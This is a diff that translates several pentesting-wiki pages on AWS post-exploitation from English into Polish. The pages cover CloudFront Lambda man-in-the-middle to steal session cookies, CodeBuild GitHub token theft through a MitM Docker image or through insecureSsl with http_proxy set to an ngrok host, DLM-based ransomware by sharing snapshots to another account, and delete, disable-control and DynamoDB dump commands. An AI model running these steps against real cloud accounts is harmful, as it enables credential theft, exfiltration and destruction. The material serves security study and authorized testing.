index 4a3c4ff21..5a9928365 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md
@@ -4,7 +4,7 @@
## CloudFront
-For more information check:
+Aby uzyskać więcej informacji, sprawdź:
{{#ref}}
../aws-services/aws-cloudfront-enum.md
@@ -12,24 +12,20 @@ For more information check:
### Man-in-the-Middle
-This [**blog post**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c) proposes a couple of different scenarios where a **Lambda** could be added (or modified if it's already being used) into a **communication through CloudFront** with the purpose of **stealing** user information (like the session **cookie**) and **modifying** the **response** (injecting a malicious JS script).
+Ten [**post na blogu**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c) proponuje kilka różnych scenariuszy, w których **Lambda** mogłaby być dodana (lub zmodyfikowana, jeśli już jest używana) do **komunikacji przez CloudFront** w celu **kradzieży** informacji o użytkownikach (takich jak **ciasteczko** sesji) i **modyfikacji** **odpowiedzi** (wstrzykiwanie złośliwego skryptu JS).
-#### scenario 1: MitM where CloudFront is configured to access some HTML of a bucket
+#### scenariusz 1: MitM, gdzie CloudFront jest skonfigurowany do uzyskiwania dostępu do niektórego HTML z bucketu
-- **Create** the malicious **function**.
-- **Associate** it with the CloudFront distribution.
-- Set the **event type to "Viewer Response"**.
+- **Utwórz** złośliwą **funkcję**.
+- **Powiąż** ją z dystrybucją CloudFront.
+- Ustaw **typ zdarzenia na "Viewer Response"**.
-Accessing the response you could steal the users cookie and inject a malicious JS.
+Uzyskując dostęp do odpowiedzi, możesz ukraść ciasteczko użytkowników i wstrzyknąć złośliwego JS.
-#### scenario 2: MitM where CloudFront is already using a lambda function
+#### scenariusz 2: MitM, gdzie CloudFront już używa funkcji lambda
-- **Modify the code** of the lambda function to steal sensitive information
+- **Zmień kod** funkcji lambda, aby ukraść wrażliwe informacje
-You can check the [**tf code to recreate this scenarios here**](https://github.com/adanalvarez/AWS-Attack-Scenarios/tree/main).
+Możesz sprawdzić [**kod tf, aby odtworzyć te scenariusze tutaj**](https://github.com/adanalvarez/AWS-Attack-Scenarios/tree/main).
{{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md
index 54be4e299..5fe157268 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md
@@ -4,85 +4,73 @@
## CodeBuild
-For more information, check:
+Aby uzyskać więcej informacji, sprawdź:
{{#ref}}
../../aws-services/aws-codebuild-enum.md
{{#endref}}
-### Check Secrets
+### Sprawdź Sekrety
-If credentials have been set in Codebuild to connect to Github, Gitlab or Bitbucket in the form of personal tokens, passwords or OAuth token access, these **credentials are going to be stored as secrets in the secret manager**.\
-Therefore, if you have access to read the secret manager you will be able to get these secrets and pivot to the connected platform.
+Jeśli poświadczenia zostały ustawione w Codebuild do łączenia się z Github, Gitlab lub Bitbucket w formie osobistych tokenów, haseł lub dostępu za pomocą tokena OAuth, te **poświadczenia będą przechowywane jako sekrety w menedżerze sekretów**.\
+Dlatego, jeśli masz dostęp do odczytu menedżera sekretów, będziesz mógł uzyskać te sekrety i przejść do połączonej platformy.
{{#ref}}
../../aws-privilege-escalation/aws-secrets-manager-privesc.md
{{#endref}}
-### Abuse CodeBuild Repo Access
+### Nadużycie Dostępu do Repozytoriów CodeBuild
-In order to configure **CodeBuild**, it will need **access to the code repo** that it's going to be using. Several platforms could be hosting this code:
+Aby skonfigurować **CodeBuild**, będzie potrzebny **dostęp do repozytorium kodu**, które będzie używane. Kilka platform może hostować ten kod:
-The **CodeBuild project must have access** to the configured source provider, either via **IAM role** of with a github/bitbucket **token or OAuth access**.
+**Projekt CodeBuild musi mieć dostęp** do skonfigurowanego dostawcy źródła, albo za pomocą **roli IAM**, albo z użyciem **tokena github/bitbucket lub dostępu OAuth**.
-An attacker with **elevated permissions in over a CodeBuild** could abuse this configured access to leak the code of the configured repo and others where the set creds have access.\
-In order to do this, an attacker would just need to **change the repository URL to each repo the config credentials have access** (note that the aws web will list all of them for you):
+Atakujący z **podwyższonymi uprawnieniami w CodeBuild** mógłby nadużyć tego skonfigurowanego dostępu, aby wyciekł kod skonfigurowanego repozytorium i innych, do których mają dostęp ustawione poświadczenia.\
+Aby to zrobić, atakujący musiałby tylko **zmienić adres URL repozytorium na każde repozytorium, do którego mają dostęp skonfigurowane poświadczenia** (zauważ, że strona aws wyświetli wszystkie z nich):
-And **change the Buildspec commands to exfiltrate each repo**.
+I **zmienić polecenia Buildspec, aby wyeksportować każde repozytorium**.
> [!WARNING]
-> However, this **task is repetitive and tedious** and if a github token was configured with **write permissions**, an attacker **won't be able to (ab)use those permissions** as he doesn't have access to the token.\
-> Or does he? Check the next section
+> Jednak to **zadanie jest powtarzalne i nużące** i jeśli token github został skonfigurowany z **uprawnieniami do zapisu**, atakujący **nie będzie mógł (nadużyć) tych uprawnień**, ponieważ nie ma dostępu do tokena.\
+> Czyżby? Sprawdź następny rozdział
-### Leaking Access Tokens from AWS CodeBuild
-
-You can leak access given in CodeBuild to platforms like Github. Check if any access to external platforms was given with:
+### Wyciek Tokenów Dostępu z AWS CodeBuild
+Możesz wyciekować dostęp przyznany w CodeBuild do platform takich jak Github. Sprawdź, czy jakikolwiek dostęp do zewnętrznych platform został przyznany za pomocą:
```bash
aws codebuild list-source-credentials
```
-
{{#ref}}
aws-codebuild-token-leakage.md
{{#endref}}
### `codebuild:DeleteProject`
-An attacker could delete an entire CodeBuild project, causing loss of project configuration and impacting applications relying on the project.
-
+Napastnik mógłby usunąć cały projekt CodeBuild, co spowodowałoby utratę konfiguracji projektu i wpłynęło na aplikacje polegające na tym projekcie.
```bash
aws codebuild delete-project --name
```
-
-**Potential Impact**: Loss of project configuration and service disruption for applications using the deleted project.
+**Potencjalny wpływ**: Utrata konfiguracji projektu i zakłócenia w działaniu aplikacji korzystających z usuniętego projektu.
### `codebuild:TagResource` , `codebuild:UntagResource`
-An attacker could add, modify, or remove tags from CodeBuild resources, disrupting your organization's cost allocation, resource tracking, and access control policies based on tags.
-
+Napastnik mógłby dodać, zmodyfikować lub usunąć tagi z zasobów CodeBuild, zakłócając alokację kosztów, śledzenie zasobów i polityki kontroli dostępu w oparciu o tagi.
```bash
aws codebuild tag-resource --resource-arn --tags
aws codebuild untag-resource --resource-arn --tag-keys
```
-
-**Potential Impact**: Disruption of cost allocation, resource tracking, and tag-based access control policies.
+**Potencjalny wpływ**: Zakłócenie alokacji kosztów, śledzenia zasobów i polityk kontroli dostępu opartych na tagach.
### `codebuild:DeleteSourceCredentials`
-An attacker could delete source credentials for a Git repository, impacting the normal functioning of applications relying on the repository.
-
+Napastnik mógłby usunąć poświadczenia źródłowe dla repozytorium Git, co wpłynęłoby na normalne funkcjonowanie aplikacji polegających na tym repozytorium.
```sql
aws codebuild delete-source-credentials --arn
```
-
-**Potential Impact**: Disruption of normal functioning for applications relying on the affected repository due to the removal of source credentials.
+**Potencjalny wpływ**: Zakłócenie normalnego funkcjonowania aplikacji polegających na dotkniętym repozytorium z powodu usunięcia poświadczeń źródłowych.
{{#include ../../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md
index c514d7a7c..22a31d0a0 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md
@@ -2,73 +2,68 @@
{{#include ../../../../banners/hacktricks-training.md}}
-## Recover Github/Bitbucket Configured Tokens
-
-First, check if there are any source credentials configured that you could leak:
+## Odzyskiwanie skonfigurowanych tokenów Github/Bitbucket
+Najpierw sprawdź, czy są skonfigurowane jakiekolwiek poświadczenia źródłowe, które możesz wyciekować:
```bash
aws codebuild list-source-credentials
```
-
### Via Docker Image
-If you find that authentication to for example Github is set in the account, you can **exfiltrate** that **access** (**GH token or OAuth token**) by making Codebuild to **use an specific docker image** to run the build of the project.
+Jeśli stwierdzisz, że uwierzytelnienie do na przykład Github jest ustawione w koncie, możesz **ekstrahować** ten **dostęp** (**GH token lub OAuth token**) poprzez sprawienie, że Codebuild **użyje konkretnego obrazu docker** do uruchomienia budowy projektu.
-For this purpose you could **create a new Codebuild project** or change the **environment** of an existing one to set the **Docker image**.
+W tym celu możesz **utworzyć nowy projekt Codebuild** lub zmienić **środowisko** istniejącego, aby ustawić **obraz Docker**.
-The Docker image you could use is [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). This is a very basic Docker image that will set the **env variables `https_proxy`**, **`http_proxy`** and **`SSL_CERT_FILE`**. This will allow you to intercept most of the traffic of the host indicated in **`https_proxy`** and **`http_proxy`** and trusting the SSL CERT indicated in **`SSL_CERT_FILE`**.
+Obraz Docker, którego możesz użyć, to [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). To bardzo podstawowy obraz Docker, który ustawi **zmienne środowiskowe `https_proxy`**, **`http_proxy`** i **`SSL_CERT_FILE`**. To pozwoli ci przechwycić większość ruchu hosta wskazanego w **`https_proxy`** i **`http_proxy`** oraz zaufać certyfikatowi SSL wskazanemu w **`SSL_CERT_FILE`**.
-1. **Create & Upload your own Docker MitM image**
- - Follow the instructions of the repo to set your proxy IP address and set your SSL cert and **build the docker image**.
- - **DO NOT SET `http_proxy`** to not intercept requests to the metadata endpoint.
- - You could use **`ngrok`** like `ngrok tcp 4444` lo set the proxy to your host
- - Once you have the Docker image built, **upload it to a public repo** (Dockerhub, ECR...)
-2. **Set the environment**
- - Create a **new Codebuild project** or **modify** the environment of an existing one.
- - Set the project to use the **previously generated Docker image**
+1. **Utwórz i prześlij swój własny obraz Docker MitM**
+- Postępuj zgodnie z instrukcjami repozytorium, aby ustawić swój adres IP proxy i ustawić swój certyfikat SSL oraz **zbudować obraz docker**.
+- **NIE USTAWIAJ `http_proxy`**, aby nie przechwytywać żądań do punktu końcowego metadanych.
+- Możesz użyć **`ngrok`** jak `ngrok tcp 4444`, aby ustawić proxy do swojego hosta.
+- Gdy masz zbudowany obraz Docker, **prześlij go do publicznego repozytorium** (Dockerhub, ECR...).
+2. **Ustaw środowisko**
+- Utwórz **nowy projekt Codebuild** lub **zmodyfikuj** środowisko istniejącego.
+- Ustaw projekt, aby używał **wcześniej wygenerowanego obrazu Docker**.
-3. **Set the MitM proxy in your host**
-
-- As indicated in the **Github repo** you could use something like:
+3. **Ustaw proxy MitM w swoim hoście**
+- Jak wskazano w **repozytorium Github**, możesz użyć czegoś takiego:
```bash
mitmproxy --listen-port 4444 --allow-hosts "github.com"
```
-
> [!TIP]
-> The **mitmproxy version used was 9.0.1**, it was reported that with version 10 this might not work.
+> Wersja **mitmproxy używana to 9.0.1**, zgłoszono, że w wersji 10 może to nie działać.
-4. **Run the build & capture the credentials**
+4. **Uruchom budowę i przechwyć poświadczenia**
-- You can see the token in the **Authorization** header:
+- Możesz zobaczyć token w nagłówku **Authorization**:
-
-
-This could also be done from the aws cli with something like
+
+Można to również zrobić z aws cli za pomocą czegoś takiego
```bash
# Create project using a Github connection
aws codebuild create-project --cli-input-json file:///tmp/buildspec.json
## With /tmp/buildspec.json
{
- "name": "my-demo-project",
- "source": {
- "type": "GITHUB",
- "location": "https://github.com/uname/repo",
- "buildspec": "buildspec.yml"
- },
- "artifacts": {
- "type": "NO_ARTIFACTS"
- },
- "environment": {
- "type": "LINUX_CONTAINER", // Use "ARM_CONTAINER" to run docker-mitm ARM
- "image": "docker.io/carlospolop/docker-mitm:v12",
- "computeType": "BUILD_GENERAL1_SMALL",
- "imagePullCredentialsType": "CODEBUILD"
- }
+"name": "my-demo-project",
+"source": {
+"type": "GITHUB",
+"location": "https://github.com/uname/repo",
+"buildspec": "buildspec.yml"
+},
+"artifacts": {
+"type": "NO_ARTIFACTS"
+},
+"environment": {
+"type": "LINUX_CONTAINER", // Use "ARM_CONTAINER" to run docker-mitm ARM
+"image": "docker.io/carlospolop/docker-mitm:v12",
+"computeType": "BUILD_GENERAL1_SMALL",
+"imagePullCredentialsType": "CODEBUILD"
+}
}
## Json
@@ -76,117 +71,102 @@ aws codebuild create-project --cli-input-json file:///tmp/buildspec.json
# Start the build
aws codebuild start-build --project-name my-project2
```
-
### Via insecureSSL
-**Codebuild** projects have a setting called **`insecureSsl`** that is hidden in the web you can only change it from the API.\
-Enabling this, allows to Codebuild to connect to the repository **without checking the certificate** offered by the platform.
-
-- First you need to enumerate the current configuration with something like:
+**Codebuild** projekty mają ustawienie zwane **`insecureSsl`**, które jest ukryte w sieci i można je zmienić tylko z poziomu API.\
+Włączenie tego pozwala Codebuild na połączenie z repozytorium **bez sprawdzania certyfikatu** oferowanego przez platformę.
+- Najpierw musisz enumerować bieżącą konfigurację za pomocą czegoś takiego:
```bash
aws codebuild batch-get-projects --name
```
-
-- Then, with the gathered info you can update the project setting **`insecureSsl`** to **`True`**. The following is an example of my updating a project, notice the **`insecureSsl=True`** at the end (this is the only thing you need to change from the gathered configuration).
- - Moreover, add also the env variables **http_proxy** and **https_proxy** pointing to your tcp ngrok like:
-
+- Następnie, z zebranymi informacjami możesz zaktualizować ustawienie projektu **`insecureSsl`** na **`True`**. Poniżej znajduje się przykład mojej aktualizacji projektu, zwróć uwagę na **`insecureSsl=True`** na końcu (to jest jedyna rzecz, którą musisz zmienić w zebranej konfiguracji).
+- Ponadto, dodaj również zmienne środowiskowe **http_proxy** i **https_proxy** wskazujące na twój tcp ngrok, jak:
```bash
aws codebuild update-project --name \
- --source '{
- "type": "GITHUB",
- "location": "https://github.com/carlospolop/404checker",
- "gitCloneDepth": 1,
- "gitSubmodulesConfig": {
- "fetchSubmodules": false
- },
- "buildspec": "version: 0.2\n\nphases:\n build:\n commands:\n - echo \"sad\"\n",
- "auth": {
- "type": "CODECONNECTIONS",
- "resource": "arn:aws:codeconnections:eu-west-1:947247140022:connection/46cf78ac-7f60-4d7d-bf86-5011cfd3f4be"
- },
- "reportBuildStatus": false,
- "insecureSsl": true
- }' \
- --environment '{
- "type": "LINUX_CONTAINER",
- "image": "aws/codebuild/standard:5.0",
- "computeType": "BUILD_GENERAL1_SMALL",
- "environmentVariables": [
- {
- "name": "http_proxy",
- "value": "http://2.tcp.eu.ngrok.io:15027"
- },
- {
- "name": "https_proxy",
- "value": "http://2.tcp.eu.ngrok.io:15027"
- }
- ]
- }'
+--source '{
+"type": "GITHUB",
+"location": "https://github.com/carlospolop/404checker",
+"gitCloneDepth": 1,
+"gitSubmodulesConfig": {
+"fetchSubmodules": false
+},
+"buildspec": "version: 0.2\n\nphases:\n build:\n commands:\n - echo \"sad\"\n",
+"auth": {
+"type": "CODECONNECTIONS",
+"resource": "arn:aws:codeconnections:eu-west-1:947247140022:connection/46cf78ac-7f60-4d7d-bf86-5011cfd3f4be"
+},
+"reportBuildStatus": false,
+"insecureSsl": true
+}' \
+--environment '{
+"type": "LINUX_CONTAINER",
+"image": "aws/codebuild/standard:5.0",
+"computeType": "BUILD_GENERAL1_SMALL",
+"environmentVariables": [
+{
+"name": "http_proxy",
+"value": "http://2.tcp.eu.ngrok.io:15027"
+},
+{
+"name": "https_proxy",
+"value": "http://2.tcp.eu.ngrok.io:15027"
+}
+]
+}'
```
-
-- Then, run the basic example from [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) in the port pointed by the proxy variables (http_proxy and https_proxy)
-
+- Następnie uruchom podstawowy przykład z [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) na porcie wskazanym przez zmienne proxy (http_proxy i https_proxy)
```python
from mitm import MITM, protocol, middleware, crypto
mitm = MITM(
- host="127.0.0.1",
- port=4444,
- protocols=[protocol.HTTP],
- middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
- certificate_authority = crypto.CertificateAuthority()
+host="127.0.0.1",
+port=4444,
+protocols=[protocol.HTTP],
+middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
+certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
```
-
-- Finally, click on **Build the project**, the **credentials** will be **sent in clear text** (base64) to the mitm port:
+- Na koniec kliknij na **Zbuduj projekt**, **poświadczenia** będą **wysyłane w czystym tekście** (base64) do portu mitm:
### ~~Via HTTP protocol~~
-> [!TIP] > **This vulnerability was corrected by AWS at some point the week of the 20th of Feb of 2023 (I think on Friday). So an attacker can't abuse it anymore :)**
+> [!TIP] > **Ta podatność została naprawiona przez AWS w pewnym momencie w tygodniu 20 lutego 2023 roku (myślę, że w piątek). Więc atakujący nie może już tego nadużywać :)**
-An attacker with **elevated permissions in over a CodeBuild could leak the Github/Bitbucket token** configured or if permissions was configured via OAuth, the **temporary OAuth token used to access the code**.
+Atakujący z **podwyższonymi uprawnieniami w CodeBuild mógłby wyciekować token Github/Bitbucket** skonfigurowany lub jeśli uprawnienia były skonfigurowane za pomocą OAuth, **tymczasowy token OAuth używany do uzyskania dostępu do kodu**.
-- An attacker could add the environment variables **http_proxy** and **https_proxy** to the CodeBuild project pointing to his machine (for example `http://5.tcp.eu.ngrok.io:14972`).
+- Atakujący mógłby dodać zmienne środowiskowe **http_proxy** i **https_proxy** do projektu CodeBuild wskazujące na jego maszynę (na przykład `http://5.tcp.eu.ngrok.io:14972`).
-- Then, change the URL of the github repo to use HTTP instead of HTTPS, for example: `http://github.com/carlospolop-forks/TestActions`
-- Then, run the basic example from [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) in the port pointed by the proxy variables (http_proxy and https_proxy)
-
+- Następnie zmień URL repozytorium github, aby używał HTTP zamiast HTTPS, na przykład: `http://github.com/carlospolop-forks/TestActions`
+- Następnie uruchom podstawowy przykład z [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) na porcie wskazanym przez zmienne proxy (http_proxy i https_proxy)
```python
from mitm import MITM, protocol, middleware, crypto
mitm = MITM(
- host="0.0.0.0",
- port=4444,
- protocols=[protocol.HTTP],
- middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
- certificate_authority = crypto.CertificateAuthority()
+host="0.0.0.0",
+port=4444,
+protocols=[protocol.HTTP],
+middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
+certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
```
-
-- Next, click on **Build the project** or start the build from command line:
-
+- Następnie kliknij na **Zbuduj projekt** lub rozpocznij budowę z linii poleceń:
```sh
aws codebuild start-build --project-name
```
-
-- Finally, the **credentials** will be **sent in clear text** (base64) to the mitm port:
+- W końcu **poświadczenia** będą **wysyłane w czystym tekście** (base64) do portu mitm:
> [!WARNING]
-> Now an attacker will be able to use the token from his machine, list all the privileges it has and (ab)use easier than using the CodeBuild service directly.
+> Teraz atakujący będzie mógł użyć tokena ze swojej maszyny, wylistować wszystkie posiadane uprawnienia i (nadużywać) łatwiej niż korzystając bezpośrednio z usługi CodeBuild.
{{#include ../../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation.md
index f1c6fb394..9b4af4160 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation.md
@@ -1,24 +1,18 @@
-# AWS - Control Tower Post Exploitation
+# AWS - Kontrola Wieży Po Eksploatacji
{{#include ../../../banners/hacktricks-training.md}}
-## Control Tower
+## Kontrola Wieży
{{#ref}}
../aws-services/aws-security-and-detection-services/aws-control-tower-enum.md
{{#endref}}
-### Enable / Disable Controls
-
-To further exploit an account, you might need to disable/enable Control Tower controls:
+### Włącz / Wyłącz Kontrole
+Aby dalej eksploatować konto, może być konieczne wyłączenie/włączenie kontroli Kontroli Wieży:
```bash
aws controltower disable-control --control-identifier --target-identifier
aws controltower enable-control --control-identifier --target-identifier
```
-
{{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md
index baa309e53..a2ece8d0d 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md
@@ -2,98 +2,90 @@
{{#include ../../../banners/hacktricks-training.md}}
-## Data Lifecycle Manger (DLM)
+## Menedżer cyklu życia danych (DLM)
### `EC2:DescribeVolumes`, `DLM:CreateLifeCyclePolicy`
-A ransomware attack can be executed by encrypting as many EBS volumes as possible and then erasing the current EC2 instances, EBS volumes, and snapshots. To automate this malicious activity, one can employ Amazon DLM, encrypting the snapshots with a KMS key from another AWS account and transferring the encrypted snapshots to a different account. Alternatively, they might transfer snapshots without encryption to an account they manage and then encrypt them there. Although it's not straightforward to encrypt existing EBS volumes or snapshots directly, it's possible to do so by creating a new volume or snapshot.
+Atak ransomware może być przeprowadzony poprzez szyfrowanie jak największej liczby wolumenów EBS i następnie usunięcie bieżących instancji EC2, wolumenów EBS i migawków. Aby zautomatyzować tę złośliwą działalność, można wykorzystać Amazon DLM, szyfrując migawki za pomocą klucza KMS z innego konta AWS i przenosząc zaszyfrowane migawki do innego konta. Alternatywnie, mogą przenieść migawki bez szyfrowania do konta, które zarządzają, a następnie zaszyfrować je tam. Chociaż nie jest to proste, aby bezpośrednio zaszyfrować istniejące wolumeny EBS lub migawki, można to zrobić, tworząc nowy wolumen lub migawkę.
-Firstly, one will use a command to gather information on volumes, such as instance ID, volume ID, encryption status, attachment status, and volume type.
+Najpierw użyje się polecenia, aby zebrać informacje o wolumenach, takie jak ID instancji, ID wolumenu, status szyfrowania, status załączenia i typ wolumenu.
`aws ec2 describe-volumes`
-Secondly, one will create the lifecycle policy. This command employs the DLM API to set up a lifecycle policy that automatically takes daily snapshots of specified volumes at a designated time. It also applies specific tags to the snapshots and copies tags from the volumes to the snapshots. The policyDetails.json file includes the lifecycle policy's specifics, such as target tags, schedule, the ARN of the optional KMS key for encryption, and the target account for snapshot sharing, which will be recorded in the victim's CloudTrail logs.
-
+Następnie zostanie utworzona polityka cyklu życia. To polecenie wykorzystuje API DLM do skonfigurowania polityki cyklu życia, która automatycznie wykonuje codzienne migawki określonych wolumenów o wyznaczonej porze. Zastosowane zostaną również konkretne tagi do migawek oraz skopiowane tagi z wolumenów do migawek. Plik policyDetails.json zawiera szczegóły polityki cyklu życia, takie jak docelowe tagi, harmonogram, ARN opcjonalnego klucza KMS do szyfrowania oraz docelowe konto do udostępniania migawek, które zostaną zapisane w dziennikach CloudTrail ofiary.
```bash
aws dlm create-lifecycle-policy --description "My first policy" --state ENABLED --execution-role-arn arn:aws:iam::12345678910:role/AWSDataLifecycleManagerDefaultRole --policy-details file://policyDetails.json
```
-
-A template for the policy document can be seen here:
-
+Szablon dokumentu polityki można zobaczyć tutaj:
```bash
{
- "PolicyType": "EBS_SNAPSHOT_MANAGEMENT",
- "ResourceTypes": [
- "VOLUME"
- ],
- "TargetTags": [
- {
- "Key": "ExampleKey",
- "Value": "ExampleValue"
- }
- ],
- "Schedules": [
- {
- "Name": "DailySnapshots",
- "CopyTags": true,
- "TagsToAdd": [
- {
- "Key": "SnapshotCreator",
- "Value": "DLM"
- }
- ],
- "VariableTags": [
- {
- "Key": "CostCenter",
- "Value": "Finance"
- }
- ],
- "CreateRule": {
- "Interval": 24,
- "IntervalUnit": "HOURS",
- "Times": [
- "03:00"
- ]
- },
- "RetainRule": {
- "Count": 14
- },
- "FastRestoreRule": {
- "Count": 2,
- "Interval": 12,
- "IntervalUnit": "HOURS"
- },
- "CrossRegionCopyRules": [
- {
- "TargetRegion": "us-west-2",
- "Encrypted": true,
- "CmkArn": "arn:aws:kms:us-west-2:123456789012:key/your-kms-key-id",
- "CopyTags": true,
- "RetainRule": {
- "Interval": 1,
- "IntervalUnit": "DAYS"
- }
- }
- ],
- "ShareRules": [
- {
- "TargetAccounts": [
- "123456789012"
- ],
- "UnshareInterval": 30,
- "UnshareIntervalUnit": "DAYS"
- }
- ]
- }
- ],
- "Parameters": {
- "ExcludeBootVolume": false
- }
+"PolicyType": "EBS_SNAPSHOT_MANAGEMENT",
+"ResourceTypes": [
+"VOLUME"
+],
+"TargetTags": [
+{
+"Key": "ExampleKey",
+"Value": "ExampleValue"
+}
+],
+"Schedules": [
+{
+"Name": "DailySnapshots",
+"CopyTags": true,
+"TagsToAdd": [
+{
+"Key": "SnapshotCreator",
+"Value": "DLM"
+}
+],
+"VariableTags": [
+{
+"Key": "CostCenter",
+"Value": "Finance"
+}
+],
+"CreateRule": {
+"Interval": 24,
+"IntervalUnit": "HOURS",
+"Times": [
+"03:00"
+]
+},
+"RetainRule": {
+"Count": 14
+},
+"FastRestoreRule": {
+"Count": 2,
+"Interval": 12,
+"IntervalUnit": "HOURS"
+},
+"CrossRegionCopyRules": [
+{
+"TargetRegion": "us-west-2",
+"Encrypted": true,
+"CmkArn": "arn:aws:kms:us-west-2:123456789012:key/your-kms-key-id",
+"CopyTags": true,
+"RetainRule": {
+"Interval": 1,
+"IntervalUnit": "DAYS"
+}
+}
+],
+"ShareRules": [
+{
+"TargetAccounts": [
+"123456789012"
+],
+"UnshareInterval": 30,
+"UnshareIntervalUnit": "DAYS"
+}
+]
+}
+],
+"Parameters": {
+"ExcludeBootVolume": false
+}
}
```
-
{{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md
index d63689d9e..a112cb684 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md
@@ -4,7 +4,7 @@
## DynamoDB
-For more information check:
+Aby uzyskać więcej informacji, sprawdź:
{{#ref}}
../aws-services/aws-dynamodb-enum.md
@@ -12,342 +12,292 @@ For more information check:
### `dynamodb:BatchGetItem`
-An attacker with this permissions will be able to **get items from tables by the primary key** (you cannot just ask for all the data of the table). This means that you need to know the primary keys (you can get this by getting the table metadata (`describe-table`).
+Atakujący z tymi uprawnieniami będzie mógł **pobierać elementy z tabel za pomocą klucza głównego** (nie możesz po prostu poprosić o wszystkie dane z tabeli). Oznacza to, że musisz znać klucze główne (możesz to uzyskać, pobierając metadane tabeli (`describe-table`).
{{#tabs }}
{{#tab name="json file" }}
-
```bash
aws dynamodb batch-get-item --request-items file:///tmp/a.json
// With a.json
{
- "ProductCatalog" : { // This is the table name
- "Keys": [
- {
- "Id" : { // Primary keys name
- "N": "205" // Value to search for, you could put here entries from 1 to 1000 to dump all those
- }
- }
- ]
- }
+"ProductCatalog" : { // This is the table name
+"Keys": [
+{
+"Id" : { // Primary keys name
+"N": "205" // Value to search for, you could put here entries from 1 to 1000 to dump all those
+}
+}
+]
+}
}
```
-
{{#endtab }}
{{#tab name="inline" }}
-
```bash
aws dynamodb batch-get-item \
- --request-items '{"TargetTable": {"Keys": [{"Id": {"S": "item1"}}, {"Id": {"S": "item2"}}]}}' \
- --region
+--request-items '{"TargetTable": {"Keys": [{"Id": {"S": "item1"}}, {"Id": {"S": "item2"}}]}}' \
+--region
```
-
{{#endtab }}
{{#endtabs }}
-**Potential Impact:** Indirect privesc by locating sensitive information in the table
+**Potencjalny wpływ:** Pośredni privesc poprzez zlokalizowanie wrażliwych informacji w tabeli
### `dynamodb:GetItem`
-**Similar to the previous permissions** this one allows a potential attacker to read values from just 1 table given the primary key of the entry to retrieve:
-
+**Podobnie jak poprzednie uprawnienia** to pozwala potencjalnemu atakującemu na odczyt wartości z tylko 1 tabeli, pod warunkiem podania klucza głównego wpisu do pobrania:
```json
aws dynamodb get-item --table-name ProductCatalog --key file:///tmp/a.json
// With a.json
{
"Id" : {
- "N": "205"
+"N": "205"
}
}
```
-
-With this permission it's also possible to use the **`transact-get-items`** method like:
-
+Z tymi uprawnieniami możliwe jest również użycie metody **`transact-get-items`** w następujący sposób:
```json
aws dynamodb transact-get-items \
- --transact-items file:///tmp/a.json
+--transact-items file:///tmp/a.json
// With a.json
[
- {
- "Get": {
- "Key": {
- "Id": {"N": "205"}
- },
- "TableName": "ProductCatalog"
- }
- }
+{
+"Get": {
+"Key": {
+"Id": {"N": "205"}
+},
+"TableName": "ProductCatalog"
+}
+}
]
```
-
-**Potential Impact:** Indirect privesc by locating sensitive information in the table
+**Potencjalny wpływ:** Pośredni privesc poprzez zlokalizowanie wrażliwych informacji w tabeli
### `dynamodb:Query`
-**Similar to the previous permissions** this one allows a potential attacker to read values from just 1 table given the primary key of the entry to retrieve. It allows to use a [subset of comparisons](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html), but the only comparison allowed with the primary key (that must appear) is "EQ", so you cannot use a comparison to get the whole DB in a request.
